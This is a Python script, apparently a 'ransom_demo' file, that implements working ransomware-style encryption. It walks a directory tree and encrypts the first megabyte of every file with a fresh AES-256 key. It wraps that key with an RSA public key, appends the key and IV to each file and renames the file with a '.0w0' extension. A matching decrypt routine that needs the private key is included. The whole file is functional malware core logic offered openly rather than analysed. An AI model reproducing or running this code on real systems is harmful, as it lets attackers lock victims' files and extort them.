1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
|
# -*- coding: utf-8 -*-
# Time: 2021/06/30
# Author: dds2333
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
import secrets
import base64
import os
import sys
import shutil
import parser
import argparse
#encrypt aes key
def rsaEncryptSecret(plain, publicKey):
public_key = get_key(publicKey)
cipher_rsa = PKCS1_OAEP.new(public_key)
cipher_text = cipher_rsa.encrypt(plain)
return cipher_text
#decrypt aes key
def rsaDecryptSecret(cipher, privateKey):
private_key = get_key(privateKey)
cipher_rsa = PKCS1_OAEP.new(private_key)
decryptedBytestrings = cipher_rsa.decrypt(cipher)
return decryptedBytestrings
#aes encrypt
def symEncryptFile(publicKey, file):
aes_key = generateKey()
#key = bytes.fromhex(hex_key)
#使用 RSA 公钥加密 AES 密钥
encriptedKey = rsaEncryptSecret(aes_key, publicKey)
#定义缓冲区大小为 1M (1048576 bits)
buffer_size = 1048576
#加密文件后缀定义为 "0w0"
if file.endswith("." + '0w0'):
print('File is already encrypted, skipping')
return
input_file = open(file, 'r+b')
print("Encrypting file: "+ file)
output_file = open(file + '.' + '0w0', 'w+b')
#使用 AES CFB 模式
cipher_encrypt = AES.new(aes_key, AES.MODE_CFB)
#文件指针指向文件开头
input_file.seek(0)
#读取 1M 用来加密
buffer = input_file.read(buffer_size)
ciphered_bytes = cipher_encrypt.encrypt(buffer)
input_file.seek(0)
input_file.write(ciphered_bytes)
#将文件指针移到文件末尾
input_file.seek(0, os.SEEK_END)
#input_file.write(base64.b64decode(encriptedKey))
#写入加密的 AES 密钥
input_file.write(encriptedKey)
#再指向末尾
input_file.seek(0, os.SEEK_END)
#写入初始向量 iv
input_file.write(cipher_encrypt.iv)
input_file.close()
#os.rename(file, file + "." + '0w0')
#将原文件重命名,此处在 win 使用 os.rename 会报错,改为使用 shutil
shutil.move(file, file + "." + '0w0')
#aes decrypt
def symDecryptFile(privateKey, file):
#缓冲区, 1M
buffer_size = 1048576
if file.endswith("." + '0w0'):
out_filename = file[:-(len('0w0') + 1)]
print("Decrypting file: " + file)
else:
print('File is not encrypted')
return
input_file = open(file, 'r+b')
#读取 iv,16 字节
input_file.seek(-16, os.SEEK_END)
iv = input_file.read(16)
#RSA 密文占 256 字节,加上 16字节的 iv
input_file.seek(-272, os.SEEK_END)
secret = input_file.read(256)
#解密得到 AES 密钥
aes_key = rsaDecryptSecret(secret, privateKey)
#使用 AES CFB 模式
cipher_encrypt = AES.new(aes_key, AES.MODE_CFB, iv=iv)
#从文件开头读取 1M 大小的密文并解密
input_file.seek(0)
buffer = input_file.read(buffer_size)
decrypted_bytes = cipher_encrypt.decrypt(buffer)
#写入明文
input_file.seek(0)
input_file.write(decrypted_bytes)
#将文件指针移至末尾往前 272 处,并截断文件
input_file.seek(-272, os.SEEK_END)
input_file.truncate()
input_file.close()
#os.rename(file, out_filename)
#重命名文件
shutil.move(file, out_filename)
#import key
def get_key(key_encoded):
#pub_key = RSA.import_key(key_encoded, None)
f = open(key_encoded)
s = f.read()
key = RSA.import_key(s)
return key
#generate aes kry
def generateKey():
#sym_key = secrets.token_hex(32)
sym_key = secrets.token_bytes(32) #生成 32 字节密钥
return sym_key
def main():
#2048 bits rsa pub key
# pub = """-----BEGIN PUBLIC KEY-----
# MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiIkTnAgp8i0gO8uwhcE1
# vhognAlUKwG3glsMrvoAQiraB6IJgT+OLqfg59mgMB0KctKsiHcPojcy/6Z4yLOS
# GQxKnvgD69jGP0kd5gwpo/b4oZLouAvlkl9++pYnFsHtcy1soGk9GWe9hEORwcq6
# 61YELJUlhm6jFev50xlsAYI/rhR9F/uePLVpxi3LF2n23ClP3rZnwDKKp1rdMalV
# ff6ZDtjIVP5uKrgQrVq1FpkVr0Na9XXo3aFlgpY95SH926Y2hyvhDuVXcUa516ts
# qgBkT+oqoCgsVCwqc8Pf2IW80BbC86HzGQVlWRQzHCldI29YosrBZPaJyc4oMoTu
# /wIDAQAB
# -----END PUBLIC KEY-----"""
parser = argparse.ArgumentParser()
parser.add_argument("--dest", "-d", help="File or directory to encrypt/decrypt", dest="destination", default="none", required=True)
parser.add_argument("--action", "-a", help="Action (encrypt/decrypt)", dest="action", required=True)
parser.add_argument("--pem","-p", help="Public/Private key", dest="key", required=True)
args = parser.parse_args()
act = args.action
#文件
if os.path.isfile(args.destination):
file_path = args.destination
if act == "encrypt":
symEncryptFile(args.key, file_path)
elif act == "decrypt":
symDecryptFile(args.key, file_path)
#目录
else:
file_list = []
dir_path = args.destination
for root,dirs,files in os.walk(dir_path):
for f in files:
dirPath =os.path.join(root, f)
if f == "ransom_demo.py":
pass
else:
file_list.append(dirPath)
file_nums = len(file_list)
if file_nums < 1:
return
else:
for li in file_list:
if act == "encrypt":
symEncryptFile(args.key, li)
elif act == "decrypt":
symDecryptFile(args.key, li)
# key = RSA.generate(2048)
# private_key = key.export_key()
# file_out = open("private1.pem", "wb")
# file_out.write(private_key)
# file_out.close()
# public_key = key.publickey().export_key()
# file_out = open("public1.pem", "wb")
# file_out.write(public_key)
# file_out.close()
print("\naha!")
if __name__ == '__main__':
main()
|